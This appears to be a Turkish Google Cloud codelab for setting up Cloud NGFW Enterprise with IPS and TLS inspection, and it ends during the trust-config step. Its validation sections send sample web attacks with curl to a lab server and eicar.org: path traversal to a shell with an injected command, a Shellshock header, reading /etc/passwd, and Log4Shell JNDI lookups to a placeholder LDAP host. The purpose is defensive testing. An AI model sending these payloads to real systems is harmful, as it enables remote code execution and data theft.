1. Giriş
Cloud Next Generation Firewall (NGFW)
Cloud Next Generation Firewall; Google Cloud iş yüklerinizi dahili ve harici saldırılara karşı korumak için gelişmiş koruma özellikleri, mikro segmentasyon ve kapsamlı kapsama alanı sunan, tamamen dağıtılmış bir güvenlik duvarı hizmetidir.
Cloud NGFW'nun avantajları şunlardır:
- Dağıtılmış güvenlik duvarı hizmeti: Cloud NGFW, sıfır güven güvenlik mimarisini etkinleştirmek için her iş yükünde durum bilgisi olan, tamamen dağıtılmış ana makine tabanlı yaptırım sağlar.
- Basitleştirilmiş yapılandırma ve dağıtım: Cloud NGFW, bir kaynak hiyerarşisi düğümüne eklenebilecek ağ ve hiyerarşik güvenlik duvarı politikaları uygular. Bu politikalar, Google Cloud kaynak hiyerarşisi genelinde tutarlı bir güvenlik duvarı deneyimi sağlar.
- Ayrıntılı kontrol ve mikro segmentasyon: Güvenlik duvarı politikaları ile Identity and Access Management (IAM) tarafından yönetilen etiketlerin kombinasyonu, Sanal Özel Bulut (VPC) ağları ve kuruluşları genelinde tek bir sanal makineye kadar hem kuzey-güney hem de doğu-batı trafiği için ayrıntılı kontrol sağlar.
Cloud NGFW aşağıdaki katmanlarda kullanılabilir:
- Cloud Next Generation Firewall Essentials
- Cloud Next Generation Firewall Standard
- Cloud Next Generation Firewall Enterprise
Cloud NGFW Enterprise
Cloud NGFW Enterprise, dağıtılmış Google Cloud Firewall yapısına 7. Katman denetim hizmetleri olan Yetkisiz Girişi Önleme Hizmeti (IPS) ve isteğe bağlı gelişmiş kötü amaçlı yazılım korumalı alan (WildFire) özellikleri ekler. TLS ile şifrelenmiş trafik için derinlemesine denetim ve dosya analizine olanak tanımak amacıyla TLS denetimi desteklenir.
Artık ağ mimarinizde veya yönlendirme yapılandırmalarınızda herhangi bir değişiklik yapmadan ayrıntılı kontrollerle güvenilir Katman 7 Yeni Nesil Güvenlik Duvarı (NGFW) denetimleri dağıtabilirsiniz.
IPS ve isteğe bağlı gelişmiş kötü amaçlı yazılım korumalı alanı ile 7. katman güvenlik duvarı kontrolünü etkinleştirmek ve dağıtmak için aşağıdaki görevleri gerçekleştirmeniz gerekir:
- Google Cloud tarafından yönetilen bir dizi bölgesel güvenlik duvarı uç noktası oluşturun (isteğe bağlı olarak Gelişmiş kötü amaçlı yazılım korumalı alanını etkinleştirin).
- İsteğe bağlı olarak bir TLS denetim politikası oluşturun.
- İsterseniz bir güven yapılandırması oluşturun.
- Bu uç noktaları, Cloud NGFW Enterprise hizmetine ihtiyaç duyduğunuz sanal özel bulut (VPC) ağlarıyla ilişkilendirin.
- Çeşitli trafik yolları için tehdit önleme ve isteğe bağlı gelişmiş kötü amaçlı yazılım korumalı alan güvenlik profillerini belirtmek üzere mevcut güvenlik duvarı politikalarınızda ve güvenlik duvarı kurallarınızda basit değişiklikler yapın.
Ağ güvenlik duvarı politikaları
Ağ güvenlik duvarı politikası, güvenlik duvarı kuralları için kapsayıcı görevi görür. Ağ güvenlik duvarı politikasında tanımlanan kurallar, politika bir VPC ağıyla ilişkilendirilene kadar hiçbir yerde uygulanmaz. Her VPC ağının kendisiyle ilişkili bir ağ güvenlik duvarı politikası olabilir. Ağ güvenlik duvarı politikaları, güvenlik duvarı kurallarında IAM tarafından yönetilen etiketleri (veya yalnızca etiketleri) destekler. Bu etiketler, mevcut ağ etiketlerinin yerini alır ve iş yüküne kimlik sağlamak için kullanılabilir.
Ağ güvenlik duvarı politikasının ağlar arasında paylaşılması ve IAM tarafından yönetilen etiketlerle entegrasyon, güvenlik duvarlarının yapılandırılmasını ve yönetimini büyük ölçüde basitleştirir.
Ağ güvenlik duvarı politikasının kullanıma sunulmasıyla birlikte Google Cloud'un güvenlik duvarı politikaları artık aşağıdaki bileşenlerden oluşur:
- Hiyerarşik güvenlik duvarı politikası
- VPC Güvenlik Duvarı Kuralları
- Ağ güvenlik duvarı politikası ( global ve bölgesel)
Hiyerarşik güvenlik duvarı politikaları, kaynak hiyerarşisindeki kuruluş ve klasör düğümlerinde desteklenir. VPC güvenlik duvarı kuralları ve ağ güvenlik duvarı politikaları ise VPC düzeyinde uygulanır. VPC güvenlik duvarı kuralları ile ağ güvenlik duvarı politikaları arasındaki en büyük fark, VPC güvenlik duvarı kurallarının yalnızca tek bir VPC ağına uygulanabilmesidir. Ağ güvenlik duvarı politikaları ise tek bir VPC'ye veya bir VPC grubuna eklenebilir ve toplu güncellemeler gibi başka avantajlar da sunar.
Son olarak, her VPC ağıyla birlikte gelen örtülü güvenlik duvarı kuralları da vardır:
- İşlemi "izin ver", hedefi 0.0.0.0/0 olan bir çıkış kuralı
- İşlemi "reddet", kaynağı 0.0.0.0/0 olan bir giriş kuralı
Varsayılan olarak, yaptırım sırası aşağıdaki şemada gösterilmiştir:

VPC güvenlik duvarı kuralları ile global ağ güvenlik duvarı politikası arasındaki yaptırım sırasının değiştirilebileceğini lütfen unutmayın. Müşteriler, gcloud komutu ile yaptırım sırasını diledikleri zaman belirtebilir.
Etiketler
Yeni Ağ güvenlik duvarı politikası kurallarına entegre edilen etiketler, Google Cloud kaynak hiyerarşisinin kuruluş veya proje düzeyinde tanımlanan anahtar/değer çifti kaynaklarıdır. Bu tür etiketler, etikette kimlerin ne yapabileceğini belirten IAM erişim denetimleri içerir. Örneğin, Kimlik ve Erişim Yönetimi (IAM) izinleri, hangi sorumluların etiketlere değer atayabileceğini ve hangi sorumluların kaynaklara etiket ekleyebileceğini belirtmenize olanak tanır. Bir ağ güvenlik duvarı kuralı bir etikete referans veriyorsa yaptırım için bir kaynağa uygulanması gerekir.
Etiketler, Google Cloud'un devralma kaynak modeline uyar. Yani etiketler ve değerleri, hiyerarşi boyunca üst öğelerinden alt öğelerine aktarılır. Sonuç olarak, etiketler bir yerde oluşturulup kaynak hiyerarşisi genelindeki diğer klasörler ve projeler tarafından kullanılabilir. Etiketler ve erişim kısıtlaması hakkında ayrıntılı bilgi için bu sayfayı ziyaret edin.
Etiketler, ağ etiketleri ile karıştırılmamalıdır. İkincisi, Compute Engine örneklerine eklenebilen dizelerdir. Bunlar örnekle ilişkilendirilir ve örnek kullanımdan kaldırıldığında silinir. VPC güvenlik duvarı kuralları ağ etiketleri içerebilir ancak bulut kaynakları olarak kabul edilmedikleri için IAM erişim denetimine tabi değildir.
Bu belgede etiketler ve IAM tarafından yönetilen etiketler birbirinin yerine kullanılmaktadır.
Ne oluşturacaksınız?
Bu codelab için tek bir proje ve VPC ağı oluşturmanın yanı sıra bir dizi ağ ve güvenlik kaynağını yönetme olanağı gerekir. Cloud NGFW Enterprise'ın IPS ve gelişmiş kötü amaçlı yazılım korumalı alanı (WildFire) işlevini nasıl sağlayabileceğini gösterir:
- TLS denetimiyle kuzeye giden internet akışlarını denetleme
- TLS denetimi ile VPC içi akışları [Doğu-Batı] denetleme
- [İsteğe bağlı] TLS tarafından denetlenen trafik üzerinden bilinmeyen dosya tabanlı tehditler için gelişmiş kötü amaçlı yazılım korumalı alanı dosya gönderimini ve adli bilişimi yapılandırma ve doğrulama
İncelenecek akışlar, 5'li grup (kaynak IP, hedef IP, protokol, kaynak bağlantı noktası, hedef bağlantı noktası) ve etiketler dahil olmak üzere Cloud Firewall eşleşme parametreleri kullanılarak seçilir.

Ağ güvenlik duvarı politikası kural tabanının son durumu aşağıdaki tabloya benzer olacaktır:
Öncelik | Yön | Target | Kaynak | Hedef | İşlem | Tür |
100 | Giriş | Server_Tag | Durum Denetimleri | Tümü | İzin ver | Essentials |
200 | Giriş | Client_Tag, Server_Tag | IAP | Tümü | İzin ver | Essentials |
800 | Giriş | Server_Tag | 10.0.0.0/24 | 10.0.0.0/24 | L7 İncelemesi | Kurumsal |
850 | Çıkış | Client_Tag | Tümü | 10.0.0.0/24 | İzin ver | Essentials |
900 | Çıkış | Client_Tag | Tümü | Tümü | L7 İncelemesi | Kurumsal |
Neler öğreneceksiniz?
- Ağ güvenlik duvarı politikası oluşturma
- Ağ güvenlik duvarı politikasıyla etiket oluşturma ve kullanma
- TLS denetimi ile Cloud NGFW Enterprise'ı yapılandırma ve kullanma
- [İsteğe bağlı] Bilinmeyen dosya tabanlı tehditler için Gelişmiş kötü amaçlı yazılım korumalı alanını (WildFire) yapılandırma ve doğrulama.
Gerekenler
- Google Cloud projesi.
- Örnekleri dağıtma ve ağ bileşenlerini yapılandırma hakkında bilgi sahibi olma
- VPC güvenlik duvarı yapılandırması bilgisi
2. Başlamadan önce
Değişken oluşturma/güncelleme
Bu codelab'de, Cloud Shell'de gcloud yapılandırma uygulamasını kolaylaştırmak için $variables kullanılır.
Cloud Shell'de, köşeli parantez içindeki bilgileri gerektiği gibi değiştirerek aşağıdaki komutları çalıştırın:
gcloud config set project [project-id] export project_id=$(gcloud config list --format="value(core.project)") export project_number=`gcloud projects describe $project_id --format="value(projectNumber)"` export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 ) export region=[region] export zone=[zone] export prefix=ngfw-enterprise export billing_project=[billing-project-id]
3. API'leri etkinleştir
Henüz yapmadıysanız API'leri etkinleştirin:
gcloud services enable networksecurity.googleapis.com gcloud services enable certificatemanager.googleapis.com gcloud services enable networkservices.googleapis.com gcloud services enable privateca.googleapis.com
4. Cloud NGFW Enterprise Uç Noktası Oluşturma
Cloud NGFW Enterprise uç noktasının oluşturulması yaklaşık 20 dakika sürer. Bu nedenle, önce uç nokta oluşturulur ve uç nokta oluşturulurken temel kurulum paralel olarak yapılabilir.
Güvenlik profilini ve güvenlik profili grubunu oluşturun:
gcloud network-security security-profiles threat-prevention \ create $prefix-sp-threat \ --organization $org_id \ --location=global gcloud network-security security-profile-groups create \ $prefix-spg \ --organization $org_id \ --location=global \ --threat-prevention-profile organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat
Beklenen çıktı:
Waiting for security-profile [organizations/$org_id/locations/global/securityProfiles/$prefix-sp-threat] to be created...done. Waiting for operation [organizations/$org_id/locations/global/operations/operation-1687458013374-5febbef75e993-ea522924-c963d150] to complete...done.
Kaynakların başarıyla oluşturulduğunu doğrulayın:
gcloud network-security security-profiles threat-prevention \ list --location=global --organization $org_id gcloud network-security security-profile-groups list \ --organization $org_id --location=global
Beklenen çıkış (Çıkış biçiminin, kullanılan istemciye göre değişebileceğini unutmayın):
NAME: ngfw-enterprise-sp-threat NAME: ngfw-enterprise-spg
Cloud NGFW Enterprise uç noktasını oluşturun:
gcloud network-security firewall-endpoints create $prefix-$zone \ --zone=$zone \ --organization $org_id \ --billing-project=$billing_project
Uç noktanın oluşturulduğunu (CREATING) veya --no-async kullandıysanız ACTIVE olduğunu doğrulamak için aşağıdaki komutu çalıştırın.
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
Beklenen çıkış (Çıkış biçiminin, kullanılan istemciye göre değişiklik gösterebileceğini unutmayın):
ID: $prefix-$zone LOCATION: $zone STATE: CREATING
Daha fazla bilgi edinmek için aşağıdaki komutu çalıştırabilirsiniz:
gcloud network-security firewall-endpoints describe \ $prefix-$zone --organization $org_id --zone $zone
Beklenen çıktı:
createTime: '2023-11-16T04:27:17.677731831Z' name: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone state: CREATING updateTime: '2023-11-16T04:27:17.677731831Z'
Oluşturma işlemi yaklaşık 20 dakika sürer. Gerekli kaynakları paralel olarak oluşturmak için Base Setup (Temel Kurulum) bölümüne gidin.
5. Temel Kurulum
VPC ağı ve alt ağ
VPC ağı ve alt ağ
VPC ağını ve alt ağı oluşturun:
gcloud compute networks create $prefix-vpc --subnet-mode=custom gcloud compute networks subnets create $prefix-$region-subnet \ --range=10.0.0.0/24 --network=$prefix-vpc --region=$region
Cloud NAT
Cloud Router ve Cloud NAT ağ geçidini oluşturun:
gcloud compute addresses create $prefix-$region-cloudnatip --region=$region export cloudnatip=$(gcloud compute addresses list --filter=name:$prefix-$region-cloudnatip --format="value(address)") gcloud compute routers create $prefix-cr \ --region=$region --network=$prefix-vpc gcloud compute routers nats create $prefix-cloudnat-$region \ --router=$prefix-cr --router-region $region \ --nat-all-subnet-ip-ranges \ --nat-external-ip-pool=$prefix-$region-cloudnatip
Örnekler
İstemci ve web sunucusu örneklerini oluşturun:
gcloud compute instances create $prefix-$zone-client \
--subnet=$prefix-$region-subnet --no-address --zone $zone \
--metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2-utils mtr iperf3 tcpdump -y'
gcloud compute instances create $prefix-$zone-www \
--subnet=$prefix-$region-subnet --no-address --zone $zone \
--metadata startup-script='#! /bin/bash
apt-get update
apt-get install apache2 tcpdump -y
a2ensite default-ssl
a2enmod ssl
# Read VM network configuration:
md_vm="http://169.254.169.254/computeMetadata/v1/instance/"
vm_hostname="$(curl $md_vm/name -H "Metadata-Flavor:Google" )"
filter="{print \$NF}"
vm_network="$(curl $md_vm/network-interfaces/0/network \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
vm_zone="$(curl $md_vm/zone \
-H "Metadata-Flavor:Google" | awk -F/ "${filter}")"
# Apache configuration:
echo "Page on $vm_hostname in network $vm_network zone $vm_zone" | \
tee /var/www/html/index.html
systemctl restart apache2'
Proje düzeyinde etiketler
Gerekirse kullanıcıya tagAdmin izni atayın:
export user_id=$(gcloud auth list --format="value(account)") gcloud projects add-iam-policy-binding $project_id --member user:$user_id --role roles/resourcemanager.tagAdmin
Proje düzeyinde etiket anahtarını ve değerlerini oluşturun:
gcloud resource-manager tags keys create $prefix-vpc-tags \ --parent projects/$project_id \ --purpose GCE_FIREWALL \ --purpose-data network=$project_id/$prefix-vpc gcloud resource-manager tags values create $prefix-vpc-client \ --parent=$project_id/$prefix-vpc-tags gcloud resource-manager tags values create $prefix-vpc-server \ --parent=$project_id/$prefix-vpc-tags
Etiketleri örneklere bağlayın:
gcloud resource-manager tags bindings create \ --location $zone \ --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-server \ --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-www gcloud resource-manager tags bindings create \ --location $zone \ --tag-value $project_id/$prefix-vpc-tags/$prefix-vpc-client \ --parent //compute.googleapis.com/projects/$project_id/zones/$zone/instances/$prefix-$zone-client
Global ağ güvenlik duvarı politikası
Global ağ güvenlik duvarı politikası oluşturun:
gcloud compute network-firewall-policies create \ $prefix-fwpolicy --description \ "Cloud NGFW Enterprise with TLS" --global
health-check ve identity-aware proxy aralıklarından gelen trafiğe izin vermek için gerekli Cloud Firewall Essential kurallarını oluşturun:
gcloud compute network-firewall-policies rules create 100 \
--description="allow http traffic from health-checks ranges" \
--action=allow \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:80,tcp:443 \
--direction=INGRESS \
--target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22,209.85.152.0/22,209.85.204.0/22
gcloud compute network-firewall-policies rules create 200 \
--description="allow ssh traffic from identity-aware-proxy ranges" \
--action=allow \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:22 \
--direction=INGRESS \
--target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server,$project_id/$prefix-vpc-tags/$prefix-vpc-client \
--src-ip-ranges=35.235.240.0/20
Belirli aralıklardan gelen doğu-batı/alt ağ içi trafiğe izin vermek için gerekli Cloud Firewall kurallarını oluşturun (bu kurallar, TLS denetimi ile Cloud NGFW Enterprise'ı etkinleştirecek şekilde güncellenir):
gcloud compute network-firewall-policies rules create 800 \
--description "allow ingress internal traffic from tagged clients" \
--action=allow \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--direction=INGRESS \
--enable-logging \
--layer4-configs tcp:443 \
--src-ip-ranges=10.0.0.0/24 \
--dest-ip-ranges=10.0.0.0/24 \
--target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-server
Bulut güvenlik duvarı politikasını VPC ağıyla ilişkilendirin:
gcloud compute network-firewall-policies associations create \
--firewall-policy $prefix-fwpolicy \
--network $prefix-vpc \
--name $prefix-fwpolicy-association \
--global-firewall-policy
6. Cloud Firewall uç nokta ilişkilendirmesi
Henüz yapmadıysanız ve/veya komut dosyası yaklaşımını tercih ettiyseniz ortam değişkenlerini tanımlayın.
Cloud Firewall uç noktası oluşturma işleminin başarıyla tamamlandığını onaylayın. Yalnızca durum ACTIVE olarak gösterildiğinde devam edin (oluşturma sırasında beklenen durum CREATING'dir):
gcloud network-security firewall-endpoints list --zone $zone \ --organization $org_id
Beklenen çıkış (Çıkış biçiminin, kullanılan istemciye göre değişiklik gösterebileceğini unutmayın):
ID: $prefix-$zone LOCATION: $zone STATE: ACTIVE
Daha fazla bilgi edinmek için aşağıdaki komutu çalıştırabilirsiniz:
gcloud network-security firewall-endpoints describe \ $prefix-$zone --organization $org_id --zone $zone
Beklenen çıktı:
createTime: '2023-11-16T04:27:17.677731831Z' name: organizations/$org_id/locations/$zonefirewallEndpoints/$prefix-$zone state: ACTIVE updateTime: '2023-11-16T04:49:53.776349352Z'
Cloud Firewall uç noktasını VPC ağıyla ilişkilendirin:
gcloud network-security firewall-endpoint-associations create \ $prefix-association --zone $zone \ --network=$prefix-vpc \ --endpoint $prefix-$zone \ --organization $org_id
İlişkilendirme işlemi yaklaşık 10 dakika sürer. Yalnızca durum ACTIVE (ETKİN) olarak gösterildiğinde TLS bölümüne geçin (oluşturma sırasında beklenen durum CREATING [OLUŞTURULUYOR] şeklindedir):
gcloud network-security firewall-endpoint-associations list
İşlem tamamlandığında beklenen çıktı:
ID: ngfw-enterprise-association LOCATION: $zone NETWORK: $prefix-vpc ENDPOINT: $prefix-$zone STATE: ACTIVE
Daha fazla bilgi edinmek için aşağıdaki komutu çalıştırabilirsiniz:
gcloud network-security firewall-endpoint-associations \ describe $prefix-association --zone $zone
Beklenen çıktı:
createTime: '2023-11-16T04:57:06.108377222Z' firewallEndpoint: organizations/$org_id/locations/$zone/firewallEndpoints/$prefix-$zone name: projects/$project_id/locations/$zone/firewallEndpointAssociations/$prefix-association network: projects/$project_id/global/networks/$prefix-vpc state: ACTIVE updateTime: '2023-11-16T04:57:06.108377222Z'
7. TLS kaynaklarını yapılandırma
CA havuzu oluşturun. Bu kaynak, NGFW Enterprise için oluşturduğumuz kök CA sertifikasını barındırmak için kullanılır.
gcloud privateca pools create $prefix-CA-Pool --project=$project_id --location=$region --tier=enterprise
Kök CA'yı oluşturun. Bu, NGFW Enterprise üzerinden yapılan istekler için ek sertifikaları imzalamak amacıyla kullanılacak CA sertifikasıdır.
gcloud privateca roots create $prefix-CA-Root --project=$project_id --location=$region --pool=$prefix-CA-Pool --subject="CN=NGFW Enterprise Test CA 2, O=Google NGFW Enterprise Test"
Aşağıdaki mesajı görürseniz y yazarak yanıtlayın:
The CaPool [ngfw-enterprise-CA-Pool] has no enabled CAs and cannot issue any certificates until at least one CA is enabled. Would you like to also enable this CA? Do you want to continue (y/N)?
Hizmet hesabı oluşturun. Bu hizmet hesabı, NGFW Enterprise için sertifika istemek amacıyla kullanılır:
gcloud beta services identity create --service=networksecurity.googleapis.com --project=$project_id
Hizmet hesabı için IAM izinlerini ayarlayın:
gcloud privateca pools add-iam-policy-binding $prefix-CA-Pool --project=$project_id --location=$region --member=serviceAccount:service-$project_number@gcp-sa-networksecurity.iam.gserviceaccount.com --role=roles/privateca.certificateRequester
TLS politikası YAML dosyasını oluşturun. Bu dosya, belirli kaynaklar hakkında bilgi içerir:
cat > tls_policy.yaml << EOF description: Test tls inspection policy. name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool excludePublicCaSet: false EOF
TLS denetleme politikasını içe aktarın:
gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml
TLS'yi etkinleştirmek için uç nokta ilişkilendirmesini güncelleyin:
gcloud network-security firewall-endpoint-associations update $prefix-association --zone=$zone --project=$project_id --tls-inspection-policy=$prefix-tls-policy --tls-inspection-policy-project=$project_id --tls-inspection-policy-region=$region
CA sertifikasını alın ve istemcinin CA deposuna ekleyin:
gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" >> $prefix-CA-Root.crt
CA sertifikasını istemciye aktarın:
gcloud compute scp --tunnel-through-iap ~/$prefix-CA-Root.crt $prefix-$zone-client:~/ --zone=$zone
SSH ile sanal makineye bağlanın, CA sertifikasını /usr/local/share/ca-certificates dizinine taşıyın ve CA deposunu güncelleyin:
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone sudo mv ngfw-enterprise-CA-Root.crt /usr/local/share/ca-certificates/ sudo update-ca-certificates
Cloud Shell'e geri dönün.
Sunucu sertifikası imzalama süreci:
Cloud Shell'de pip komutunu kullanarak Pyca kriptografi kitaplığını yükleyin:
pip install --user "cryptography>=2.2.0"
Google Cloud SDK'nın Pyca kriptografi kitaplığını kullanmasına izin vermek için site paketlerini etkinleştirmeniz gerekir.
export CLOUDSDK_PYTHON_SITEPACKAGES=1
Sunucu sertifikasını oluşturun:
gcloud privateca certificates create --issuer-location=$region \ --issuer-pool $prefix-CA-Pool \ --subject "CN=Cloud NGFW Enterprise,O=Google" \ --ip-san=10.0.0.3 \ --generate-key \ --key-output-file=./key.pem \ --cert-output-file=./cert.pem
Bu işlem, Cloud Shell'de cert.pem ve key.pem dosyası oluşturur. Ardından sertifikayı ve anahtarı sunucuya aktarın.
gcloud compute scp --tunnel-through-iap ~/cert.pem $prefix-$zone-www:~/ --zone=$zone gcloud compute scp --tunnel-through-iap ~/key.pem $prefix-$zone-www:~/ --zone=$zone
Apache'nin sertifika ayrıntılarını güncellemek için sunucuya SSH ile bağlanın:
gcloud compute ssh $prefix-$zone-www --tunnel-through-iap --zone $zone
Sertifikayı ve anahtarı belirli bir klasöre taşıyın:
sudo mv cert.pem /etc/ssl/certs/ sudo mv key.pem /etc/ssl/private/
İmzalı sertifikayı kullanmak için SSL yapılandırmasını güncelleyin:
sudo sed -i 's/ssl-cert-snakeoil.pem/cert.pem/g' /etc/apache2/sites-available/default-ssl.conf sudo sed -i 's/ssl-cert-snakeoil.key/key.pem/g' /etc/apache2/sites-available/default-ssl.conf
Apache'yi yeniden başlatın:
sudo systemctl restart apache2
Apache durumunu doğrulayın:
sudo systemctl status apache2
Etkin (çalışıyor) olmalıdır.
Sanal makineden çıkın ve Cloud Shell'de devam edin.
8. Kuzey yönlü ve doğu/batı yönlü bağlantıyı doğrulama
Cloud Shell'de aşağıdaki komutları çalıştırın ve kullanılacak hedef IP'leri not edin:
gcloud compute instances list --filter="name=($prefix-$zone-www)"
Yeni bir sekme açın ve IAP üzerinden istemci sanal makinesine SSH bağlantısı başlatın (yeni sekmede değişkenleri tanımlamanız gerekir):
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
Aşağıdaki komutları çalıştırın ve kullanılacak hedef IP'leri not edin. Köşeli parantez içindeki değerleri önceki adımda not ettiğiniz IP'lerle değiştirerek değişkenleri oluşturun ve bunlara erişilebildiğinden emin olun:
export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]
Özel IP'yi curl komutuyla çağırın ve erişilebilir olduğundan emin olun:
curl https://$target_privateip --max-time 2
curl isteği için beklenen sonuçlar:
Page on ngfw-enterprise-$zone-www in network ngfw-enterprise-vpc zone $zone
IP'ye örnek saldırılar gönderin. Web sunucusu, L7 denetimi/önlemi olmadığını onaylayarak tüm isteklere yanıt vermelidir:
curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2
curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2
curl -w "%{http_code}\\n" -s -o /dev/null https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2
curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2
curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2
Beklenen sonuç örneği (özel IP):
400 404 400 200 200
Benzer şekilde, bir internet hedefine istek gönderebilirsiniz:
curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2
curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2
curl -s -o /dev/null -w "%{http_code}\n" https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2
curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2
curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2
Beklenen sonuç örneği (internet hedefi):
400 404 400 403 403
Sanal makine terminalinden çıkıp Cloud Shell'e dönün.
9. TLS Denetimi için Güvenlik Duvarı Kuralları Oluşturma ve Güncelleme
Daha önce, dahili alt ağdan sunucumuza giriş trafiğine izin verecek bir güvenlik duvarı kuralı yapılandırmıştık. Şimdi mevcut giriş kurallarını güncelleyip işlemi apply_security_profile_group olarak ayarlayacağız. Bu işlem, TLS ile E/W L7 denetimini etkinleştirir:
gcloud compute network-firewall-policies rules update 800 \
--action=apply_security_profile_group \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
--tls-inspect
TLS ile kuzey yönlü L7 denetimini incelemek için yeni bir kural oluşturun.
gcloud compute network-firewall-policies rules create 900 \
--description "Inspect egress traffic over TCP 443" \
--action=apply_security_profile_group \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--direction=EGRESS \
--enable-logging \
--layer4-configs tcp:443 \
--dest-ip-ranges=0.0.0.0/0 \
--target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client \
--security-profile-group=/networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg \
--tls-inspect
Çift denetimi önlemek için doğu/batı trafiğinde GİDEN trafiğe izin veren yeni bir kural oluşturun.
gcloud compute network-firewall-policies rules create 850 \
--description "Prevent double inspection" \
--action=ALLOW \
--firewall-policy=$prefix-fwpolicy \
--global-firewall-policy \
--direction=EGRESS \
--layer4-configs tcp:443 \
--dest-ip-ranges=10.0.0.0/24 \
--target-secure-tags $project_id/$prefix-vpc-tags/$prefix-vpc-client
10. Kuzey yönlü TLS denetimi doğrulanıyor
İstemci sanal makinesi sekmesine geri dönün veya tekrar bağlanın:
gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone
Örnek saldırıları bir internet hedefine gönderin:
curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2
curl https://www.eicar.org/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2
curl https://www.eicar.org/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2
curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2
curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://www.eicar.org --max-time 2
Aşağıdaki beklenen çıkışa göre yanıt alınmaz. Bu da örnek saldırıların artık engellendiğini doğrular:
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104 curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
Değişkeni daha önceki sunucu IP'sine ayarlayın:
export target_privateip=[INTERNAL_IP_OF_WWW_SERVER]
Sunucuya örnek TLS istekleri gönderin:
curl https://$target_privateip --max-time 2
Beklenen çıktı:
curl: (60) SSL certificate problem: self signed certificate More details here: https://curl.se/docs/sslcerts.html curl failed to verify the legitimacy of the server and therefore could not establish a secure connection to it. To learn more about this situation and how to fix it, please visit the web page mentioned above.
Bu istek neden başarısız oldu? Bunun nedeni, güvenlik duvarının sunucudan güvenilmeyen bir sertifika almasıdır. Bu durumda, istemciye kendinden imzalı bir sertifika gönderilir. Güveni etkinleştirmek için CA sertifikasını bir güven yapılandırmasının parçası olarak eklememiz gerekir.
Cloud Shell'e dönün.
11. Güven yapılandırmasını yapılandırma
Kök CA sertifikasını alın ve uygun biçimlendirmeyle değişken olarak ayarlayın.
export NGFW_ROOT_CA=$(gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" | sed 's/^/ /')
Güven Yapılandırması YAML dosyasını yapılandırın. Bu dosya, CA sertifikaları gibi güven ayrıntılarını içerir:
cat > trust_config.yaml << EOF
name: "$prefix-trust-config"
trustStores:
- trustAnchors:
- pemCertificate: |
${NGFW_ROOT_CA}
EOF
